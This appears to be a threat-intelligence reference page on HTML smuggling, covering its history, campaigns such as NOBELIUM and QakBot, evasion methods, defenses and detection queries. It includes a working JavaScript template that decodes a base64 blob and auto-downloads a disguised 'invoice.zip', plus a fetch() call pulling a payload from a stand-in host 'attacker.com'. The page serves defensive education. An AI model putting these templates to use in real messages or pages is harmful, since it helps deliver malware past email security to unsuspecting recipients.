HTML Smuggling

JavaScript in HTML files constructs malicious payloads client-side, bypassing email and network security that only inspects files in transit.

MITRE ATT&CK: T1027.006

Timeline: The Cat and Mouse

2018 ← Attack emerges β†’ 2021 ← Goes mainstream β†’ 2023 ← Defenses improve β†’ Present

The Evolution

Phase Period What Happened
ATTACK 2018 Technique emerges in targeted attacks
NATION-STATE 2021 NOBELIUM (Russia) uses HTML smuggling in SolarWinds campaign
MAINSTREAM 2022 Commodity malware (QakBot, IcedID) adopts post-macro block
RESPONSE 2022 Organizations begin blocking HTML attachments
Β  2023 SEGs add JavaScript analysis for smuggling patterns
CURRENT Present Still effective with obfuscation; cat-and-mouse continues

Key Events with Sources

Date Event Significance Source
2018 Technique emerges Early use in targeted attacks MITRE ATT&CK
May 2021 NOBELIUM campaign Russian APT uses HTML smuggling extensively Microsoft
Nov 2021 Microsoft warns of surge Banking malware and loaders adopt technique Microsoft
2022 Post-macro adoption QakBot, Emotet pivot to HTML smuggling Proofpoint
2023 SEG detection improves Email gateways add JavaScript pattern analysis Cofense

Overview

HTML smuggling uses JavaScript to construct malicious payloads entirely within the victim’s browser. The HTML file arrives cleanβ€”no embedded malware. When opened, JavaScript assembles the payload from encoded data, creates a file blob, and triggers a download. Security tools inspecting the email see only HTML/JavaScript, not the malware.

The Attack

How It Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    EMAIL SECURITY                        β”‚
β”‚  Scanning attachment: document.html                      β”‚
β”‚  Contents: HTML + JavaScript                             β”‚
β”‚  Malware signature: NOT FOUND                            β”‚
β”‚  Result: CLEAN βœ“                                         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                          β”‚
                          β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  USER'S BROWSER                          β”‚
β”‚  1. Opens document.html                                  β”‚
β”‚  2. JavaScript executes                                  β”‚
β”‚  3. Decodes base64 payload                               β”‚
β”‚  4. Creates Blob object                                  β”‚
β”‚  5. Triggers download: invoice.zip                       β”‚
β”‚  6. ZIP contains: malware.exe                            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Technical Implementation

<html>
<body>
<script>
// Base64 encoded malicious ZIP file
var payload = "UEsDBBQAAAAIAP9mSVcAAA...";

// Decode base64 to binary
var binary = atob(payload);
var bytes = new Uint8Array(binary.length);
for (var i = 0; i < binary.length; i++) {
    bytes[i] = binary.charCodeAt(i);
}

// Create blob and download
var blob = new Blob([bytes], {type: "application/zip"});
var url = URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "invoice.zip";
a.click();
</script>
<p>Loading document...</p>
</body>
</html>

Why It Bypasses Security

Email Security:

  • Sees HTML file with JavaScript
  • No executable, no known malware signature
  • JavaScript is legitimate web technology
  • Payload is encoded data, not file

Network Security:

  • No external download to block
  • Payload constructed locally
  • Browser creates file from memory

Mark of the Web:

  • HTML file has MOTW
  • Generated file: MOTW handling varies
  • Blob downloads may not inherit MOTW

Real-World Campaigns

NOBELIUM (2021):

  • Nation-state actor (Russia)
  • Targeted government entities
  • Smuggled ISO files containing malware

Mekotio Banking Trojan:

  • South American banking malware
  • HTML emails smuggled ZIP files
  • Contained MSI installers

QakBot Campaigns:

  • Post-macro pivot
  • HTML β†’ ZIP β†’ ISO β†’ LNK β†’ DLL

Evasion Techniques

Obfuscated JavaScript:

var _0x1234 = ['YXRvYg==', 'Y3JlYXRlRWxlbWVudA=='];
// Heavily obfuscated to evade static analysis

Encrypted Payloads:

  • Payload encrypted in HTML
  • Key derived from URL parameter or user action
  • Decryption happens client-side

Split Payloads:

  • Multiple HTML files
  • Each contains piece of payload
  • Assembled when all opened

Time Delays:

  • Don’t execute immediately
  • Wait for user interaction
  • Evade automated analysis

Defenses

Block HTML Attachments

Many organizations now block:

  • .html files
  • .htm files
  • .mht / .mhtml files

Limitation: May impact legitimate use cases.

JavaScript Analysis

Advanced SEGs:

  • Parse JavaScript in HTML
  • Detect suspicious patterns
  • Identify encoding/blob creation
  • Flag download triggers

Browser Protections

Modern browsers:

  • Prompt before auto-downloads
  • Show download source
  • Some apply MOTW to blob downloads

User Training

Train users:

  • Be suspicious of HTML attachments
  • Don’t ignore download prompts
  • Report unexpected file downloads
  • Verify before opening downloaded files

Attacker Adaptation

Encrypted Smuggling

Password in email body, key in HTML:

Email: "Password: invoice2024"
HTML: Prompts for password, uses it to decrypt payload

Defeats static analysis entirely.

Two-Stage Smuggling

Stage 1 HTML: Benign, establishes context
Stage 2 HTML: Contains smuggled payload

First email builds trust, second delivers.

External Resource Loading

// Load payload from external server
fetch('https://attacker.com/payload.b64')
  .then(r => r.text())
  .then(data => smuggle(data));

Payload not in email at all.

Current State

Status: Active

HTML smuggling remains effective:

Why It Works Defensive Progress
Payload not in file JS analysis improving
Local construction Some orgs block HTML
Evades network inspection Browser prompts help
Highly obfuscatable Detection still inconsistent

Detection Guidance

Email Analysis

Flag HTML attachments with:

  • Blob constructor
  • URL.createObjectURL
  • atob() / base64 decoding
  • Automatic click/download triggers
  • Large encoded strings

Endpoint Detection

Monitor for:

  • Browser downloading files after HTML open
  • Files appearing in Downloads without network traffic
  • Unusual file types from browser processes

SIEM Queries

email.attachment.extension IN ("html", "htm", "mht")
AND email.attachment.contains_javascript = true
AND email.attachment.js_pattern IN ("blob", "createObjectURL", "atob")

Network Indicators

If external resources used:

  • HTML loads remote JavaScript
  • Fetch/XHR to unusual domains
  • Base64 or encrypted data in response

What Killed It (or Weakened It)

Defense Introduced Impact
HTML Attachment Restrictions 2022 Some orgs block HTML attachments entirely
JavaScript Analysis in SEGs 2023 Security gateways analyze JS in HTML for smuggling patterns
Browser Download Prompts 2022 Browsers warn more on auto-downloaded files